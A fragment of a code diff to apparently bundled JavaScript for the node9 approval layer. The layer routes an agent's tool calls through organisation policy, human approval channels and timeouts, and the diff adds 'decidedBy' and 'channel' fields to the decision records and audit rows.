blockedBy: cloudResult.approved ? void 0 : "team-policy",
|
|
18349
|
-
blockedByLabel: "Organization Policy (SaaS)"
|
|
19758
|
+
blockedByLabel: "Organization Policy (SaaS)",
|
|
19759
|
+
decidedBy: "cloud",
|
|
19760
|
+
channel: "cloud"
|
|
18350
19761
|
};
|
|
18351
19762
|
} catch (err) {
|
|
18352
19763
|
const error = err;
|
|
@@ -18376,14 +19787,31 @@ ${packageReview}`;
|
|
|
18376
19787
|
if (config.policySource !== "workspace") {
|
|
18377
19788
|
for (const d of exposureDestinations) addTrustedRecipient(d, "approval");
|
|
18378
19789
|
}
|
|
18379
|
-
return {
|
|
19790
|
+
return {
|
|
19791
|
+
approved: true,
|
|
19792
|
+
checkedBy: "daemon",
|
|
19793
|
+
decisionSource: "native",
|
|
19794
|
+
decidedBy: "person",
|
|
19795
|
+
channel: "native"
|
|
19796
|
+
};
|
|
18380
19797
|
}
|
|
18381
19798
|
if (decision === "always_allow") {
|
|
18382
19799
|
if (standingTrustApplies()) {
|
|
18383
19800
|
writeTrustSession(toolName, 36e5, args);
|
|
18384
|
-
return {
|
|
19801
|
+
return {
|
|
19802
|
+
approved: true,
|
|
19803
|
+
checkedBy: "trust",
|
|
19804
|
+
decidedBy: "person",
|
|
19805
|
+
channel: "native"
|
|
19806
|
+
};
|
|
18385
19807
|
}
|
|
18386
|
-
return {
|
|
19808
|
+
return {
|
|
19809
|
+
approved: true,
|
|
19810
|
+
checkedBy: "daemon",
|
|
19811
|
+
decisionSource: "native",
|
|
19812
|
+
decidedBy: "person",
|
|
19813
|
+
channel: "native"
|
|
19814
|
+
};
|
|
18387
19815
|
}
|
|
18388
19816
|
const isApproved = decision === "allow";
|
|
18389
19817
|
return {
|
|
@@ -18392,75 +19820,32 @@ ${packageReview}`;
|
|
|
18392
19820
|
checkedBy: isApproved ? "daemon" : void 0,
|
|
18393
19821
|
blockedBy: isApproved ? void 0 : "local-decision",
|
|
18394
19822
|
blockedByLabel: "User Decision (Native)",
|
|
18395
|
-
decisionSource: "native"
|
|
19823
|
+
decisionSource: "native",
|
|
19824
|
+
decidedBy: "person",
|
|
19825
|
+
channel: "native"
|
|
18396
19826
|
};
|
|
18397
19827
|
})()
|
|
18398
19828
|
);
|
|
18399
19829
|
}
|
|
19830
|
+
const fromCard = /* @__PURE__ */ new WeakSet();
|
|
19831
|
+
const timeoutReason = approvalTimeoutMs > 0 ? approvalTimeoutReason(approvalTimeoutMs) : void 0;
|
|
18400
19832
|
if (daemonEntryId && approvers.terminal) {
|
|
18401
19833
|
racePromises.push(
|
|
18402
19834
|
(async () => {
|
|
18403
|
-
const
|
|
18404
|
-
|
|
18405
|
-
|
|
18406
|
-
|
|
18407
|
-
|
|
18408
|
-
|
|
18409
|
-
|
|
18410
|
-
|
|
18411
|
-
);
|
|
18412
|
-
if (daemonDecision === "abandoned") throw new Error("Abandoned");
|
|
18413
|
-
const isApproved = daemonDecision === "allow";
|
|
18414
|
-
const isRedirect = decisionSource === REDIRECT_SOURCE;
|
|
18415
|
-
if (!isApproved && !isRedirect && !(decisionSource && HUMAN_DECISION_SOURCES.has(decisionSource))) {
|
|
18416
|
-
if (decisionSource === "cloud")
|
|
18417
|
-
return {
|
|
18418
|
-
approved: false,
|
|
18419
|
-
reason: daemonReason || "Action rejected by organization administrator via Slack.",
|
|
18420
|
-
blockedBy: "team-policy",
|
|
18421
|
-
blockedByLabel: "Organization Policy (SaaS)",
|
|
18422
|
-
decisionSource: "cloud"
|
|
18423
|
-
};
|
|
18424
|
-
const timedOut = decisionSource === "timeout";
|
|
18425
|
-
if (downgradedBlock)
|
|
18426
|
-
return {
|
|
18427
|
-
...downgradedBlock,
|
|
18428
|
-
blockedBy: timedOut ? "timeout" : "local-config"
|
|
18429
|
-
};
|
|
18430
|
-
if (timedOut)
|
|
18431
|
-
return {
|
|
18432
|
-
approved: false,
|
|
18433
|
-
reason: daemonReason || "No response: auto-denied after the approval timeout.",
|
|
18434
|
-
blockedBy: "timeout",
|
|
18435
|
-
blockedByLabel: "Approval Timeout"
|
|
18436
|
-
};
|
|
18437
|
-
if (decisionSource === "policy")
|
|
18438
|
-
return {
|
|
18439
|
-
approved: false,
|
|
18440
|
-
reason: daemonReason || "Action blocked by policy.",
|
|
18441
|
-
blockedBy: "local-config",
|
|
18442
|
-
blockedByLabel: explainableLabel
|
|
18443
|
-
};
|
|
18444
|
-
return {
|
|
18445
|
-
approved: false,
|
|
18446
|
-
reason: daemonReason || "node9 could not get an approval decision for this call.",
|
|
18447
|
-
blockedBy: "no-approval-mechanism",
|
|
18448
|
-
blockedByLabel: "Approval Unavailable"
|
|
18449
|
-
};
|
|
19835
|
+
const cap = cardDeadline === void 0 ? daemonWaitCapMs(config.settings.approvalTimeoutMs) : cardDeadline === null ? 0 : Math.max(cardDeadline - Date.now(), 0) + 5e3;
|
|
19836
|
+
const outcome = await waitForDaemonDecision(daemonEntryId, signal, cap);
|
|
19837
|
+
const legacy = !outcome.record;
|
|
19838
|
+
const record = outcome.record ?? recordFromLegacyWait(outcome);
|
|
19839
|
+
if (downgradedBlock && (!record || legacy && record.decidedBy === "policy" && record.decision === "deny")) {
|
|
19840
|
+
const softened = { ...downgradedBlock, blockedBy: "local-config" };
|
|
19841
|
+
fromCard.add(softened);
|
|
19842
|
+
return softened;
|
|
18450
19843
|
}
|
|
18451
|
-
if (
|
|
18452
|
-
|
|
18453
|
-
|
|
18454
|
-
|
|
18455
|
-
|
|
18456
|
-
return {
|
|
18457
|
-
approved: isApproved,
|
|
18458
|
-
reason: isApproved ? void 0 : isRedirect && daemonReason || `The human user rejected this action via the Node9 ${via}.`,
|
|
18459
|
-
checkedBy: isApproved ? "daemon" : void 0,
|
|
18460
|
-
blockedBy: isApproved ? void 0 : "local-decision",
|
|
18461
|
-
blockedByLabel: isRedirect ? "Steered Redirect (Terminal)" : `User Decision (${via})`,
|
|
18462
|
-
decisionSource: "terminal"
|
|
18463
|
-
};
|
|
19844
|
+
if (!record) return approvalUnavailable(outcome.reason);
|
|
19845
|
+
if (legacy && record.decidedBy === "policy") record.label = explainableLabel;
|
|
19846
|
+
const result = authResultFromRecord(record, { downgradedBlock, timeoutReason });
|
|
19847
|
+
fromCard.add(result);
|
|
19848
|
+
return result;
|
|
18464
19849
|
})()
|
|
18465
19850
|
);
|
|
18466
19851
|
}
|
|
@@ -18492,7 +19877,7 @@ REASON: Action blocked because no approval channels are available. (Native/Brows
|
|
|
18492
19877
|
blockedByLabel: explainableLabel
|
|
18493
19878
|
};
|
|
18494
19879
|
}
|
|
18495
|
-
const
|
|
19880
|
+
const raceResult = await new Promise((resolve) => {
|
|
18496
19881
|
let resolved = false;
|
|
18497
19882
|
let failures = 0;
|
|
18498
19883
|
const total = racePromises.length;
|
|
@@ -18500,14 +19885,6 @@ REASON: Action blocked because no approval channels are available. (Native/Brows
|
|
|
18500
19885
|
if (!resolved) {
|
|
18501
19886
|
resolved = true;
|
|
18502
19887
|
abortController.abort();
|
|
18503
|
-
if (daemonEntryId && internalToken) {
|
|
18504
|
-
resolveViaDaemon(
|
|
18505
|
-
daemonEntryId,
|
|
18506
|
-
res.approved ? "allow" : "deny",
|
|
18507
|
-
internalToken,
|
|
18508
|
-
res.decisionSource
|
|
18509
|
-
).catch(() => null);
|
|
18510
|
-
}
|
|
18511
19888
|
resolve(res);
|
|
18512
19889
|
}
|
|
18513
19890
|
};
|
|
@@ -18515,26 +19892,29 @@ REASON: Action blocked because no approval channels are available. (Native/Brows
|
|
|
18515
19892
|
p.then(finish).catch((err) => {
|
|
18516
19893
|
if (err.name === "AbortError" || err.message?.includes("canceled") || err.message?.includes("Aborted"))
|
|
18517
19894
|
return;
|
|
18518
|
-
if (err.message === "Abandoned") {
|
|
18519
|
-
finish({
|
|
18520
|
-
approved: false,
|
|
18521
|
-
reason: "Browser dashboard closed without making a decision.",
|
|
18522
|
-
blockedBy: "local-decision",
|
|
18523
|
-
blockedByLabel: "Browser Dashboard (Abandoned)"
|
|
18524
|
-
});
|
|
18525
|
-
return;
|
|
18526
|
-
}
|
|
18527
19895
|
failures++;
|
|
18528
19896
|
if (failures === total && !resolved) {
|
|
18529
|
-
finish(
|
|
19897
|
+
finish(approvalUnavailable("All approval channels failed or disconnected."));
|
|
18530
19898
|
}
|
|
18531
19899
|
});
|
|
18532
19900
|
}
|
|
18533
19901
|
});
|
|
19902
|
+
let finalResult = raceResult;
|
|
19903
|
+
if (daemonEntryId && internalToken && !fromCard.has(raceResult)) {
|
|
19904
|
+
const reply = await resolveViaDaemon(
|
|
19905
|
+
daemonEntryId,
|
|
19906
|
+
raceResult.approved ? "allow" : "deny",
|
|
19907
|
+
internalToken,
|
|
19908
|
+
raceResult.decisionSource,
|
|
19909
|
+
recordFromAuthResult(raceResult)
|
|
19910
|
+
).catch(() => null);
|
|
19911
|
+
if (reply && !reply.won)
|
|
19912
|
+
finalResult = authResultFromRecord(reply.record, { downgradedBlock, timeoutReason });
|
|
19913
|
+
}
|
|
18534
19914
|
if (finalResult.approved && exposureKeys.length > 0 && meta?.sessionId && ucPolicy?.afterExposure === "ask-once") {
|
|
18535
19915
|
await approveSessionExposure(meta.sessionId, exposureKeys);
|
|
18536
19916
|
}
|
|
18537
|
-
if (cloudRequestId && creds && finalResult.checkedBy !== "cloud") {
|
|
19917
|
+
if (cloudRequestId && creds && finalResult.checkedBy !== "cloud" && finalResult.decidedBy !== "cloud") {
|
|
18538
19918
|
await resolveNode9SaaS(
|
|
18539
19919
|
cloudRequestId,
|
|
18540
19920
|
creds,
|
|
@@ -18558,7 +19938,12 @@ REASON: Action blocked because no approval channels are available. (Native/Brows
|
|
|
18558
19938
|
{
|
|
18559
19939
|
...ownRowMeta(finalResult.approved),
|
|
18560
19940
|
...cloudRequestId && { cloudRequestId },
|
|
18561
|
-
...appPermReview && { ruleName: `app-permission:${appPermReviewTool}` }
|
|
19941
|
+
...appPermReview && { ruleName: `app-permission:${appPermReviewTool}` },
|
|
19942
|
+
// Who decided, from the decision record, and the card: the daemon
|
|
19943
|
+
// writes its own row for the same card, and the report counts one.
|
|
19944
|
+
...finalResult.decidedBy && { decidedBy: finalResult.decidedBy },
|
|
19945
|
+
...finalResult.channel && { channel: finalResult.channel },
|
|
19946
|
+
...daemonEntryId && { cardId: daemonEntryId }
|
|
18562
19947
|
},
|
|
18563
19948
|
hashAuditArgs
|
|
18564
19949
|
);
|